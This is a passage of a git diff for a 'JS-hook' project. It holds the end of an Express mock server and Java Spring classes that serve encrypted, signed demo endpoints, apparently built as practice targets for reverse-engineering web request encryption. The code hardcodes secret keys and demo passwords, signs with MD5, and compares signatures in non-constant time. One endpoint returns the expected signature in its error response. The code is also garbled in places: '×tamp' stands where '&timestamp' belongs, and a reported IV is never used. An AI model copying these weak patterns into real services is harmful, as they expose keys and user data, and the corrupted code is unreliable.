requestTime = parseInt(xTimestamp); + const timeDiff = Math.abs(currentTime - requestTime); + + if (timeDiff > 300) { // 5分钟有效期 + return res.status(401).json({ + error: '请求时间戳过期', + current_time: currentTime, + request_time: requestTime, + time_diff: timeDiff + }); + } + + // 获取请求体数据 + const requestData = req.body; + + // 验证签名 + const secretKey = 'your-secret-key-2025'; + const isValid = verifySignature(requestData, xTimestamp, xNonce, xSign, secretKey); + + if (!isValid) { + return res.status(401).json({ + error: '签名验证失败', + signature_valid: false + }); + } + + // 构建响应数据 + const responseData = { + request_id: 'REQ' + Math.random().toString(36).substring(2, 15).toUpperCase(), + timestamp: currentTime, + signature_valid: true, + api_type: requestData.api_type, + client_id: xClientId + }; + + // 根据API类型生成不同的响应 + switch(requestData.api_type) { + case 'payment': + responseData.payment_result = { + status: 'success', + transaction_id: 'TXN' + Math.random().toString(36).substring(2, 15).toUpperCase(), + amount: requestData.amount, + payment_method: requestData.payment_method, + fee: (requestData.amount * 0.006).toFixed(2), // 0.6% 手续费 + order_id: requestData.order_id, + merchant_id: requestData.merchant_id + }; + break; + + case 'transfer': + responseData.transfer_result = { + status: 'processing', + transfer_id: 'TRF' + Math.random().toString(36).substring(2, 15).toUpperCase(), + amount: requestData.amount, + currency: requestData.currency, + from_account: requestData.from_account, + to_account: requestData.to_account, + estimated_arrival: '2-24小时内到账' + }; + break; + + case 'sensitive': + responseData.access_result = { + status: 'granted', + data_type: requestData.data_type, + access_level: requestData.access_level, + user_id: requestData.user_id, + department: requestData.department, + access_token: 'AT' + Math.random().toString(36).substring(2, 25).toUpperCase(), + expires_in: 3600 // 1小时 + }; + break; + + case 'admin': + responseData.admin_result = { + status: 'authorized', + action: requestData.action, + admin_level: requestData.admin_level, + admin_id: requestData.admin_id, + operation_id: 'OP' + Math.random().toString(36).substring(2, 15).toUpperCase(), + audit_log: `管理员${requestData.admin_id}执行${requestData.action}操作`, + session_id: requestData.session_id + }; + break; + + default: + responseData.error = '未知的API类型'; + } + + res.json(responseData); + + } catch (error) { + res.status(500).json({ + error: '请求头签名验证失败', + details: error.message + }); + } +}); + +// 签名验证函数 +function verifySignature(data, timestamp, nonce, signature, secretKey) { + try { + // 将数据按key排序并拼接 + const sortedKeys = Object.keys(data).sort(); + const paramString = sortedKeys.map(key => `${key}=${data[key]}`).join('&'); + + // 构建签名字符串 + const signString = `${paramString}×tamp=${timestamp}&nonce=${nonce}&key=${secretKey}`; + + // 生成期望的签名 + const expectedSignature = crypto.createHmac('sha256', secretKey) + .update(signString) + .digest('hex'); + + // 比较签名 + return signature === expectedSignature; + } catch (error) { + console.error('签名验证错误:', error); + return false; + } +} + +// 响应头加密Cookie接口 +app.post('/api/response-header-cookie', (req, res) => { + try { + const requestData = req.body; + const currentTime = Math.floor(Date.now() / 1000); + + // 构建响应数据 + const responseData = { + session_id: 'SES' + Math.random().toString(36).substring(2, 15).toUpperCase(), + timestamp: currentTime, + authenticated: true, + service_type: requestData.service_type, + client_ip: requestData.client_ip + }; + + // 构建Cookie数据 + const cookieData = { + user_id: 'USER' + Math.random().toString(36).substring(2, 10).toUpperCase(), + session_token: 'TOKEN' + Math.random().toString(36).substring(2, 20).toUpperCase(), + permission_level: 'standard', + expires_at: currentTime + 86400, // 24小时后过期 + device_info: requestData.device_type || 'web', + last_activity: currentTime + }; + + // 根据服务类型生成不同的响应和Cookie + switch(requestData.service_type) { + case 'login': + responseData.login_result = { + status: 'success', + user_id: cookieData.user_id, + access_token: 'AT' + Math.random().toString(36).substring(2, 25).toUpperCase(), + token_type: 'Bearer', + expires_in: 3600 + }; + cookieData.permission_level = 'authenticated'; + cookieData.login_method = 'password'; + cookieData.remember_me = requestData.remember; + break; + + case 'oauth': + responseData.oauth_result = { + status: 'authorized', + provider: requestData.provider, + access_token: 'OAT' + Math.random().toString(36).substring(2, 25).toUpperCase(), + scope: requestData.scope, + user_info: `${requestData.provider}_user_${Math.random().toString(36).substring(2, 8)}` + }; + cookieData.permission_level = 'oauth'; + cookieData.oauth_provider = requestData.provider; + cookieData.oauth_scope = requestData.scope; + break; + + case 'sso': + responseData.sso_result = { + status: 'authenticated', + provider: requestData.sso_provider, + user_identifier: `${requestData.domain}\\user_${Math.random().toString(36).substring(2, 8)}`, + domain: requestData.domain, + service_ticket: 'ST' + Math.random().toString(36).substring(2, 15).toUpperCase() + }; + cookieData.permission_level = 'sso'; + cookieData.sso_provider = requestData.sso_provider; + cookieData.domain = requestData.domain; + break; + + case 'refresh': + responseData.refresh_result = { + status: 'refreshed', + new_access_token: 'RAT' + Math.random().toString(36).substring(2, 25).toUpperCase(), + new_refresh_token: 'RRT' + Math.random().toString(36).substring(2, 25).toUpperCase(), + expires_in: getExpirySeconds(requestData.expiry), + scope: requestData.scope + }; + cookieData.permission_level = 'refreshed'; + cookieData.refresh_scope = requestData.scope; + cookieData.device_verified = requestData.device_verification === 'verify'; + break; + + default: + responseData.error = '未知的服务类型'; + } + + // 加密Cookie数据 + const secretKey = 'cookie-secret-key-2025'; + const encryptedCookie = encryptCookieData(cookieData, secretKey); + + // 设置响应头 + res.setHeader('X-Cookie', encryptedCookie); + res.setHeader('X-Session-Id', responseData.session_id); + res.setHeader('X-Auth-Status', responseData.authenticated ? 'success' : 'failed'); + res.setHeader('X-Service-Type', requestData.service_type); + + res.json(responseData); + + } catch (error) { + res.status(500).json({ + error: '响应头Cookie处理失败', + details: error.message + }); + } +}); + +// Cookie数据加密函数 +function encryptCookieData(cookieData, secretKey) { + try { + const cookieString = JSON.stringify(cookieData); + const encrypted = crypto.createCipher('aes-256-cbc', secretKey); + let encryptedData = encrypted.update(cookieString, 'utf8', 'base64'); + encryptedData += encrypted.final('base64'); + return encryptedData; + } catch (error) { + console.error('Cookie加密错误:', error); + return ''; + } +} + +// 获取过期时间(秒) +function getExpirySeconds(expiry) { + switch(expiry) { + case '1h': return 3600; + case '24h': return 86400; + case '7d': return 604800; + case '30d': return 2592000; + default: return 3600; + } +} + +// 拦截器加密API端点 - 通用处理函数 +function handleInterceptorRequest(serviceName, req, res) { + try { + const requestData = req.body; + const currentTime = Math.floor(Date.now() / 1000); + + // 验证拦截器添加的必要参数 + if (!requestData.sign || !requestData.timestamp || !requestData.nonce || !requestData.interceptor_id) { + return res.status(400).json({ + error: '缺少拦截器签名参数', + required_params: ['sign', 'timestamp', 'nonce', 'interceptor_id'] + }); + } + + // 检查时间戳(防止重放攻击) + const requestTime = parseInt(requestData.timestamp); + const timeDiff = Math.abs(currentTime - requestTime); + + if (timeDiff > 300) { // 5分钟有效期 + return res.status(401).json({ + error: '请求时间戳过期', + current_time: currentTime, + request_time: requestTime, + time_diff: timeDiff + }); + } + + // 验证签名 + const secretKey = 'interceptor-secret-key-2025'; + const isValid = verifyInterceptorSignature(requestData, secretKey); + + if (!isValid) { + return res.status(401).json({ + error: '拦截器签名验证失败', + signature_valid: false + }); + } + + // 构建响应数据 + const responseData = { + request_id: 'REQ' + Math.random().toString(36).substring(2, 15).toUpperCase(), + timestamp: currentTime, + signature_valid: true, + service_name: serviceName, + interceptor_id: requestData.interceptor_id, + client_id: requestData.client_id + }; + + // 根据服务类型生成不同的响应 + switch(serviceName) { + case 'user-service': + responseData.service_result = { + status: 'success', + user_count: Math.floor(Math.random() * 10000) + 1000, + active_users: Math.floor(Math.random() * 5000) + 500, + new_registrations: Math.floor(Math.random() * 100) + 10, + user_data: { + total_users: Math.floor(Math.random() * 50000) + 10000, + premium_users: Math.floor(Math.random() * 5000) + 1000, + last_login_24h: Math.floor(Math.random() * 8000) + 2000 + } + }; + break; + + case 'order-service': + responseData.service_result = { + status: 'success', + total_orders: Math.floor(Math.random() * 5000) + 1000, + pending_orders: Math.floor(Math.random() * 200) + 50, + completed_orders: Math.floor(Math.random() * 4000) + 800, + order_data: { + daily_orders: Math.floor(Math.random() * 500) + 100, + average_value: (Math.random() * 500 + 100).toFixed(2), + top_category: ['电子产品', '服装', '食品', '图书'][Math.floor(Math.random() * 4)] + } + }; + break; + + case 'payment-service': + responseData.service_result = { + status: 'success', + total_transactions: Math.floor(Math.random() * 8000) + 2000, + successful_payments: Math.floor(Math.random() * 7500) + 1900, + failed_payments: Math.floor(Math.random() * 100) + 10, + payment_data: { + total_amount: (Math.random() * 1000000 + 100000).toFixed(2), + average_transaction: (Math.random() * 200 + 50).toFixed(2), + payment_methods: { + 'credit_card': Math.floor(Math.random() * 40) + 30, + 'alipay': Math.floor(Math.random() * 30) + 25, + 'wechat_pay': Math.floor(Math.random() * 25) + 20 + } + } + }; + break; + + case 'inventory-service': + responseData.service_result = { + status: 'success', + total_products: Math.floor(Math.random() * 2000) + 500, + in_stock: Math.floor(Math.random() * 1800) + 400, + out_of_stock: Math.floor(Math.random() * 50) + 10, + inventory_data: { + total_value: (Math.random() * 5000000 + 1000000).toFixed(2), + low_stock_alerts: Math.floor(Math.random() * 20) + 5, + categories: Math.floor(Math.random() * 50) + 20, + warehouses: Math.floor(Math.random() * 10) + 3 + } + }; + break; + + case 'analytics-service': + responseData.service_result = { + status: 'success', + reports_generated: Math.floor(Math.random() * 100) + 20, + data_points: Math.floor(Math.random() * 1000000) + 100000, + processing_time: (Math.random() * 5 + 1).toFixed(2), + analytics_data: { + conversion_rate: (Math.random() * 10 + 5).toFixed(2), + bounce_rate: (Math.random() * 30 + 20).toFixed(2), + avg_session_duration: (Math.random() * 300 + 120).toFixed(0), + top_pages: ['首页', '产品页', '购物车', '结算页'][Math.floor(Math.random() * 4)] + } + }; + break; + + case 'notification-service': + responseData.service_result = { + status: 'success', + messages_sent: Math.floor(Math.random() * 5000) + 1000, + delivery_rate: (Math.random() * 10 + 90).toFixed(2), + failed_deliveries: Math.floor(Math.random() * 50) + 5, + notification_data: { + email_sent: Math.floor(Math.random() * 2000) + 500, + sms_sent: Math.floor(Math.random() * 1000) + 200, + push_sent: Math.floor(Math.random() * 3000) + 800, + channels: ['email', 'sms', 'push', 'webhook'] + } + }; + break; + + default: + responseData.error = '未知的服务类型'; + } + + res.json(responseData); + + } catch (error) { + res.status(500).json({ + error: '拦截器请求处理失败', + service: serviceName, + details: error.message + }); + } +} + +// 拦截器签名验证函数 +function verifyInterceptorSignature(data, secretKey) { + try { + const { sign, ...signData } = data; + + // 将数据按key排序并拼接 + const sortedKeys = Object.keys(signData).sort(); + const paramString = sortedKeys.map(key => `${key}=${signData[key]}`).join('&'); + const signString = `${paramString}&key=${secretKey}`; + + // 生成期望的签名(使用MD5) + const expectedSignature = crypto.createHash('md5') + .update(signString) + .digest('hex'); + + // 比较签名 + return sign === expectedSignature; + } catch (error) { + console.error('拦截器签名验证错误:', error); + return false; + } +} + +// 各个服务的拦截器API端点 +app.post('/api/interceptor-user-service', (req, res) => { + handleInterceptorRequest('user-service', req, res); +}); + +app.post('/api/interceptor-order-service', (req, res) => { + handleInterceptorRequest('order-service', req, res); +}); + +app.post('/api/interceptor-payment-service', (req, res) => { + handleInterceptorRequest('payment-service', req, res); +}); + +app.post('/api/interceptor-inventory-service', (req, res) => { + handleInterceptorRequest('inventory-service', req, res); +}); + +app.post('/api/interceptor-analytics-service', (req, res) => { + handleInterceptorRequest('analytics-service', req, res); +}); + +app.post('/api/interceptor-notification-service', (req, res) => { + handleInterceptorRequest('notification-service', req, res); +}); + +// 视频片段加密API端点 +app.get('/api/video-segment/:videoType/:segmentId', (req, res) => { + try { + const { videoType, segmentId } = req.params; + const segmentIndex = parseInt(segmentId); + + // 视频配置 + const videoConfigs = { + 'movie-action': { + title: '动作电影 - 速度与激情', + encryptionKey: 'movie-action-key-2025', + segmentCount: 240 + }, + 'series-drama': { + title: '电视剧集 - 权力的游戏', + encryptionKey: 'series-drama-key-2025', + segmentCount: 90 + }, + 'documentary': { + title: '纪录片 - 地球脉动', + encryptionKey: 'documentary-key-2025', + segmentCount: 180 + }, + 'live-stream': { + title: '直播流 - 新闻频道', + encryptionKey: 'live-stream-key-2025', + segmentCount: 20 + } + }; + + const config = videoConfigs[videoType]; + if (!config) { + return res.status(404).json({ + error: '未知的视频类型', + available_types: Object.keys(videoConfigs) + }); + } + + if (segmentIndex < 0 || segmentIndex >= config.segmentCount) { + return res.status(404).json({ + error: '片段索引超出范围', + segment_index: segmentIndex, + max_segments: config.segmentCount + }); + } + + // 生成模拟的视频片段数据 + const segmentData = generateVideoSegmentData(videoType, segmentIndex); + + // 加密视频片段 + const encryptedSegment = encryptVideoSegment(segmentData, config.encryptionKey); + + // 构建响应 + const responseData = { + video_type: videoType, + segment_id: segmentIndex, + segment_name: `segment_${segmentIndex.toString().padStart(3, '0')}.ts`, + encrypted_data: encryptedSegment.encryptedData, + iv: encryptedSegment.iv, + encryption_method: 'AES-128-CBC', + segment_size: encryptedSegment.size, + duration: 30, // 30秒片段 + timestamp: Math.floor(Date.now() / 1000), + content_type: 'video/mp2t' + }; + + res.json(responseData); + + } catch (error) { + res.status(500).json({ + error: '视频片段处理失败', + details: error.message + }); + } +}); + +// 生成模拟视频片段数据 +function generateVideoSegmentData(videoType, segmentIndex) { + // 生成模拟的视频数据(实际应用中这里是真实的视频片段) + const baseData = `VIDEO_SEGMENT_${videoType.toUpperCase()}_${segmentIndex}`; + const timestamp = Math.floor(Date.now() / 1000); + const randomData = Math.random().toString(36).substring(2, 15); + + // 模拟视频片段内容 + const segmentContent = { + header: 'TS_PACKET_HEADER', + video_data: baseData + '_' + randomData, + audio_data: `AUDIO_${segmentIndex}_${randomData}`, + metadata: { + segment_index: segmentIndex, + timestamp: timestamp, + duration: 30, + video_codec: 'H.264', + audio_codec: 'AAC', + resolution: videoType === 'documentary' ? '4K' : (videoType === 'movie-action' ? '1080p' : '720p') + }, + footer: 'TS_PACKET_FOOTER' + }; + + return JSON.stringify(segmentContent); +} + +// 加密视频片段 +function encryptVideoSegment(segmentData, encryptionKey) { + try { + // 生成随机IV + const iv = crypto.randomBytes(16); + + // 创建AES-128-CBC加密器 + const cipher = crypto.createCipher('aes-128-cbc', encryptionKey); + cipher.setAutoPadding(true); + + // 加密数据 + let encrypted = cipher.update(segmentData, 'utf8', 'base64'); + encrypted += cipher.final('base64'); + + return { + encryptedData: encrypted, + iv: iv.toString('hex'), + size: Buffer.from(encrypted, 'base64').length + }; + } catch (error) { + console.error('视频片段加密错误:', error); + throw new Error('视频片段加密失败'); + } +} + +// 批量视频片段API(用于流式加载) +app.post('/api/video-segments/batch', (req, res) => { + try { + const { video_type, segment_ids } = req.body; + + if (!video_type || !Array.isArray(segment_ids)) { + return res.status(400).json({ + error: '缺少必要参数', + required: ['video_type', 'segment_ids'] + }); + } + + const videoConfigs = { + 'movie-action': { encryptionKey: 'movie-action-key-2025', segmentCount: 240 }, + 'series-drama': { encryptionKey: 'series-drama-key-2025', segmentCount: 90 }, + 'documentary': { encryptionKey: 'documentary-key-2025', segmentCount: 180 }, + 'live-stream': { encryptionKey: 'live-stream-key-2025', segmentCount: 20 } + }; + + const config = videoConfigs[video_type]; + if (!config) { + return res.status(404).json({ + error: '未知的视频类型', + available_types: Object.keys(videoConfigs) + }); + } + + const segments = []; + const errors = []; + + segment_ids.forEach(segmentId => { + try { + const segmentIndex = parseInt(segmentId); + + if (segmentIndex < 0 || segmentIndex >= config.segmentCount) { + errors.push({ + segment_id: segmentId, + error: '片段索引超出范围' + }); + return; + } + + const segmentData = generateVideoSegmentData(video_type, segmentIndex); + const encryptedSegment = encryptVideoSegment(segmentData, config.encryptionKey); + + segments.push({ + segment_id: segmentIndex, + segment_name: `segment_${segmentIndex.toString().padStart(3, '0')}.ts`, + encrypted_data: encryptedSegment.encryptedData, + iv: encryptedSegment.iv, + size: encryptedSegment.size + }); + } catch (error) { + errors.push({ + segment_id: segmentId, + error: error.message + }); + } + }); + + res.json({ + video_type: video_type, + total_requested: segment_ids.length, + successful_segments: segments.length, + failed_segments: errors.length, + segments: segments, + errors: errors, + timestamp: Math.floor(Date.now() / 1000) + }); + + } catch (error) { + res.status(500).json({ + error: '批量视频片段处理失败', + details: error.message + }); + } +}); + +const port = Number(process.env.PORT || 48159); + +// 启动服务器并初始化protobuf +const startServer = async () => { + await initProtobufSchema(); + + app.listen(port, () => { + console.log(`Server is running on http://localhost:${port}`); + }); +}; + +startServer(); diff --git a/JS-hook/src/main/java/com/myapp/jshook/CryptoJsCompat.java b/JS-hook/src/main/java/com/myapp/jshook/CryptoJsCompat.java new file mode 100644 index 0000000..08212da --- /dev/null +++ b/JS-hook/src/main/java/com/myapp/jshook/CryptoJsCompat.java @@ -0,0 +1,158 @@ +package com.myapp.jshook; + +import java.nio.charset.StandardCharsets; +import java.security.GeneralSecurityException; +import java.security.MessageDigest; +import java.security.SecureRandom; +import java.util.Arrays; +import java.util.Base64; +import javax.crypto.Cipher; +import javax.crypto.Mac; +import javax.crypto.spec.IvParameterSpec; +import javax.crypto.spec.SecretKeySpec; + +public final class CryptoJsCompat { + private static final byte[] SALTED = "Salted__".getBytes(StandardCharsets.US_ASCII); + private static final SecureRandom RANDOM = new SecureRandom(); + + private CryptoJsCompat() { + } + + public static String encrypt(String plainText, String passphrase) { + try { + byte[] salt = new byte[8]; + RANDOM.nextBytes(salt); + KeyAndIv keyAndIv = evpBytesToKey(passphrase.getBytes(StandardCharsets.UTF_8), salt, 32, 16); + Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding"); + cipher.init(Cipher.ENCRYPT_MODE, new SecretKeySpec(keyAndIv.key, "AES"), new IvParameterSpec(keyAndIv.iv)); + byte[] cipherText = cipher.doFinal(plainText.getBytes(StandardCharsets.UTF_8)); + + byte[] output = new byte[SALTED.length + salt.length + cipherText.length]; + System.arraycopy(SALTED, 0, output, 0, SALTED.length); + System.arraycopy(salt, 0, output, SALTED.length, salt.length); + System.arraycopy(cipherText, 0, output, SALTED.length + salt.length, cipherText.length); + return Base64.getEncoder().encodeToString(output); + } catch (GeneralSecurityException ex) { + throw new IllegalStateException("Failed to encrypt CryptoJS payload", ex); + } + } + + public static String decrypt(String encryptedText, String passphrase) { + try { + byte[] allBytes = Base64.getDecoder().decode(encryptedText); + byte[] salt = null; + byte[] cipherText = allBytes; + + if (allBytes.length > 16 && startsWithSalted(allBytes)) { + salt = Arrays.copyOfRange(allBytes, 8, 16); + cipherText = Arrays.copyOfRange(allBytes, 16, allBytes.length); + } + + KeyAndIv keyAndIv = evpBytesToKey( + passphrase.getBytes(StandardCharsets.UTF_8), + salt, + 32, + 16 + ); + Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding"); + cipher.init(Cipher.DECRYPT_MODE, new SecretKeySpec(keyAndIv.key, "AES"), new IvParameterSpec(keyAndIv.iv)); + byte[] plain = cipher.doFinal(cipherText); + return new String(plain, StandardCharsets.UTF_8); + } catch (Exception ex) { + throw new IllegalArgumentException("Failed to decrypt CryptoJS payload", ex); + } + } + + public static byte[] sha256Bytes(String value) { + try { + MessageDigest digest = MessageDigest.getInstance("SHA-256"); + return digest.digest(value.getBytes(StandardCharsets.UTF_8)); + } catch (GeneralSecurityException ex) { + throw new IllegalStateException(ex); + } + } + + public static String hmacSha256Hex(String value, String secret) { + try { + Mac mac = Mac.getInstance("HmacSHA256"); + mac.init(new SecretKeySpec(secret.getBytes(StandardCharsets.UTF_8), "HmacSHA256")); + return toHex(mac.doFinal(value.getBytes(StandardCharsets.UTF_8))); + } catch (GeneralSecurityException ex) { + throw new IllegalStateException(ex); + } + } + + public static String md5Hex(String value) { + try { + MessageDigest digest = MessageDigest.getInstance("MD5"); + return toHex(digest.digest(value.getBytes(StandardCharsets.UTF_8))); + } catch (GeneralSecurityException ex) { + throw new IllegalStateException(ex); + } + } + + public static String toHex(byte[] bytes) { + StringBuilder builder = new StringBuilder(bytes.length * 2); + for (byte value : bytes) { + builder.append(String.format("%02x", value)); + } + return builder.toString(); + } + + public static byte[] fromHex(String hex) { + String normalized = hex == null ? "" : hex.trim(); + if (normalized.length() % 2 != 0) { + throw new IllegalArgumentException("Invalid hex string"); + } + byte[] bytes = new byte[normalized.length() / 2]; + for (int i = 0; i < normalized.length(); i += 2) { + bytes[i / 2] = (byte) Integer.parseInt(normalized.substring(i, i + 2), 16); + } + return bytes; + } + + private static boolean startsWithSalted(byte[] bytes) { + for (int i = 0; i < SALTED.length; i++) { + if (bytes[i] != SALTED[i]) { + return false; + } + } + return true; + } + + private static KeyAndIv evpBytesToKey(byte[] password, byte[] salt, int keyLength, int ivLength) + throws GeneralSecurityException { + MessageDigest md5 = MessageDigest.getInstance("MD5"); + byte[] derived = new byte[0]; + byte[] block = new byte[0]; + + while (derived.length < keyLength + ivLength) { + md5.reset(); + md5.update(block); + md5.update(password); + if (salt != null) { + md5.update(salt, 0, 8); + } + block = md5.digest(); + byte[] next = new byte[derived.length + block.length]; + System.arraycopy(derived, 0, next, 0, derived.length); + System.arraycopy(block, 0, next, derived.length, block.length); + derived = next; + } + + return new KeyAndIv( + Arrays.copyOfRange(derived, 0, keyLength), + Arrays.copyOfRange(derived, keyLength, keyLength + ivLength) + ); + } + + private static final class KeyAndIv { + private final byte[] key; + private final byte[] iv; + + private KeyAndIv(byte[] key, byte[] iv) { + this.key = key; + this.iv = iv; + } + } +} diff --git a/JS-hook/src/main/java/com/myapp/jshook/JsHookController.java b/JS-hook/src/main/java/com/myapp/jshook/JsHookController.java new file mode 100644 index 0000000..d1be532 --- /dev/null +++ b/JS-hook/src/main/java/com/myapp/jshook/JsHookController.java @@ -0,0 +1,770 @@ +package com.myapp.jshook; + +import com.fasterxml.jackson.core.type.TypeReference; +import com.fasterxml.jackson.databind.ObjectMapper; +import com.google.protobuf.InvalidProtocolBufferException; +import com.myapp.jshook.proto.api.ApiRequest; +import com.myapp.jshook.proto.api.ApiResponse; +import com.myapp.jshook.proto.api.OrderInfo; +import com.myapp.jshook.proto.api.ProductInfo; +import com.myapp.jshook.proto.api.UserInfo; +import com.myapp.jshook.proto.microservice.AnalyticsResponse; +import com.myapp.jshook.proto.microservice.NotificationResponse; +import com.myapp.jshook.proto.microservice.OrderResponse; +import com.myapp.jshook.proto.microservice.ServiceRequest; +import com.myapp.jshook.proto.microservice.ServiceResponse; +import com.myapp.jshook.proto.microservice.UserResponse; +import com.myapp.jshook.proto.report.ChartData; +import com.myapp.jshook.proto.report.DataPoint; +import com.myapp.jshook.proto.report.DataResponse; +import com.myapp.jshook.proto.report.ReportData; +import java.nio.charset.StandardCharsets; +import java.security.SecureRandom; +import java.time.Instant; +import java.time.LocalDate; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.Base64; +import java.util.Collections; +import java.util.LinkedHashMap; +import java.util.List; +import java.util.Map; +import java.util.UUID; +import java.util.stream.Collectors; +import javax.crypto.Cipher; +import javax.crypto.spec.IvParameterSpec; +import javax.crypto.spec.SecretKeySpec; +import org.springframework.http.HttpHeaders; +import org.springframework.http.HttpStatus; +import org.springframework.http.MediaType; +import org.springframework.http.ResponseEntity; +import org.springframework.util.StringUtils; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestHeader; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.RestController; + +@RestController +public class JsHookController { + private static final ObjectMapper MAPPER = new ObjectMapper(); + private static final SecureRandom RANDOM = new SecureRandom(); + + @GetMapping("/api/items") + public ResponseEntity items(@RequestParam("sign") String sign) { + String expected = CryptoJsCompat.hmacSha256Hex("/api/items", "my-secret-key"); + if (!expected.equals(sign)) { + return ResponseEntity.status(HttpStatus.FORBIDDEN) + .body(error("Invalid sign", "expected", expected, "received", sign)); + } + return ResponseEntity.ok(mapOf( + "items", Arrays.asList(item(1, "Item 1"), item(2, "Item 2"), item(3, "Item 3")) + )); + } + + @GetMapping("/api/search-products") + public ResponseEntity searchProducts(@RequestParam("q") String encryptedQuery) { + try { + String decrypted = CryptoJsCompat.decrypt(encryptedQuery, "query-encrypt-key-2025"); + Map params = MAPPER.readValue(decrypted, new TypeReference>() {}); + String keyword = stringValue(params.get("keyword")); + String category = stringValue(params.get("category")); + int minPrice = intValue(params.get("minPrice"), 0); + int maxPrice = intValue(params.get("maxPrice"), 999999); + + List> products = defaultProducts().stream() + .filter(product -> !StringUtils.hasText(keyword) || stringValue(product.get("name")).contains(keyword)) + .filter(product -> !StringUtils.hasText(category) || category.equals(product.get("category"))) + .filter(product -> intValue(product.get("price"), 0) >= minPrice && intValue(product.get("price"), 0) <= maxPrice) + .collect(Collectors.toList()); + + return ResponseEntity.ok(mapOf("products", products, "searchParams", params, "total", products.size())); + } catch (Exception ex) { + return ResponseEntity.badRequest().body(error("Invalid encrypted parameters", "details", ex.getMessage())); + } + } + + @PostMapping("/api/login") + public ResponseEntity login(@RequestBody Map body) { + String username = stringValue(body.get("username")); + String password = stringValue(body.get("password")); + String timestamp = stringValue(body.get("timestamp")); + String sign = stringValue(body.get("sign")); + String expected = CryptoJsCompat.hmacSha256Hex(username + password + timestamp, "form-encrypt-key-2025"); + if (!expected.equals(sign)) { + return ResponseEntity.status(HttpStatus.FORBIDDEN).body(error("Invalid signature")); + } + try { + String decryptedPassword = CryptoJsCompat.decrypt(password, "form-encrypt-key-2025"); + List> users = Arrays.asList( + user("admin@example.com", "123456", "管理员"), + user("user@example.com", "password", "普通用户"), + user("test", "test123", "测试用户") + ); + Map matched = users.stream() + .filter(u -> (u.get("username").equals(username) || u.get("username").split("@")[0].equals(username)) + && u.get("password").equals(decryptedPassword)) + .findFirst() + .orElse(null); + if (matched == null) { + return ResponseEntity.status(HttpStatus.UNAUTHORIZED).body(error("用户名或密码错误")); + } + return ResponseEntity.ok(mapOf( + "success", true, + "message", "登录成功", + "user", mapOf("id", users.indexOf(matched) + 1, "username", matched.get("name"), "email", matched.get("username")), + "token", CryptoJsCompat.hmacSha256Hex(String.valueOf(users.indexOf(matched) + 1) + System.currentTimeMillis(), "token-secret"), + "loginTime", Instant.now().toString(), + "rememberMe", body.get("rememberMe") + )); + } catch (Exception ex) { + return ResponseEntity.badRequest().body(error("Invalid encrypted data", "details", ex.getMessage())); + } + } + + @PostMapping("/api/submit-user-info") + public ResponseEntity submitUserInfo(@RequestBody Map body) { + try { + String phone = CryptoJsCompat.decrypt(stringValue(body.get("phone")), "json-field-encrypt-2025"); + String idCard = CryptoJsCompat.decrypt(stringValue(body.get("idCard")), "json-field-encrypt-2025"); + String bankCard = CryptoJsCompat.decrypt(stringValue(body.get("bankCard")), "json-field-encrypt-2025"); + if (!phone.matches("^1[3-9]\\d{9}$")) { + return ResponseEntity.badRequest().body(error("手机号格式不正确")); + } + if (!idCard.matches("^\\d{17}[\\dX]$")) { + return ResponseEntity.badRequest().body(error("身份证号格式不正确")); + } + if (!bankCard.matches("^\\d{16,19}$")) { + return ResponseEntity.badRequest().body(error("银行卡号格式不正确")); + } + return ResponseEntity.ok(mapOf( + "success", true, + "message", "用户信息提交成功", + "userId", 10000 + RANDOM.nextInt(90000), + "submitTime", Instant.now().toString(), + "status", "已处理", + "decryptedData", mapOf( + "phone", phone, + "idCard", idCard.replaceAll("(\\d{6})\\d{8}(\\d{4})", "$1********$2"), + "bankCard", bankCard.replaceAll("(\\d{4})\\d{8,11}(\\d{4})", "$1****$2") + ), + "userInfo", mapOf( + "name", body.get("name"), + "email", body.get("email"), + "city", body.get("city"), + "age", body.get("age"), + "remarks", body.get("remarks") + ) + )); + } catch (Exception ex) { + return ResponseEntity.badRequest().body(error("解密失败", "details", ex.getMessage())); + } + } + + @GetMapping("/api/user-details/{userId}") + public ResponseEntity userDetails(@PathVariable("userId") String userId) { + Map> users = userDetailsData(); + Map user = users.get(userId); + if (user == null) { + return ResponseEntity.status(HttpStatus.NOT_FOUND).body(error("用户不存在")); + } + Map data = new LinkedHashMap(); + data.put("id", user.get("id")); + data.put("name", user.get("name")); + data.put("email", user.get("email")); + data.put("department", user.get("department")); + data.put("encryptedPhone", CryptoJsCompat.encrypt(stringValue(user.get("phone")), "response-decrypt-2025")); + data.put("encryptedIdCard", CryptoJsCompat.encrypt(stringValue(user.get("idCard")), "response-decrypt-2025")); + data.put("encryptedBankCard", CryptoJsCompat.encrypt(stringValue(user.get("bankCard")), "response-decrypt-2025")); + data.put("encryptedAddress", CryptoJsCompat.encrypt(stringValue(user.get("address")), "response-decrypt-2025")); + data.put("createdAt", user.get("createdAt")); + data.put("lastLogin", user.get("lastLogin")); + data.put("status", user.get("status")); + return ResponseEntity.ok(mapOf("success", true, "message", "获取用户信息成功", "data", data, "timestamp", Instant.now().toString())); + } + + @PostMapping("/api/send-message") + public ResponseEntity sendMessage(@RequestBody Map body) { + try { + String message = CryptoJsCompat.decrypt(stringValue(body.get("encryptedMessage")), "single-field-2025"); + String reply = randomFrom(Arrays.asList("消息已收到,谢谢。", "收到您的消息,正在处理中。", "感谢您的留言,我们会尽快回复。", "系统已记录您的消息。")); + return ResponseEntity.ok(mapOf( + "success", true, + "message", "消息发送成功", + "messageId", randomId("MSG"), + "sender", body.get("sender"), + "timestamp", Instant.now().toString(), + "encryptedContent", CryptoJsCompat.encrypt(reply, "single-field-2025"), + "originalMessage", message + )); + } catch (Exception ex) { + return ResponseEntity.badRequest().body(error("消息处理失败", "details", ex.getMessage())); + } + } + + @PostMapping(value = "/api/secure-submit", consumes = MediaType.TEXT_PLAIN_VALUE) + public ResponseEntity secureSubmit(@RequestBody String hexBody) { + try { + Map data = decryptHexBody(hexBody, "hex-body-encrypt-2025"); + return ResponseEntity.ok(mapOf( + "success", true, + "message", "数据提交成功", + "submissionId", randomId("SUB"), + "status", "已接收并处理", + "timestamp", Instant.now().toString(), + "securityLevel", "HIGHEST", + "decryptedData", mapOf( + "companyName", 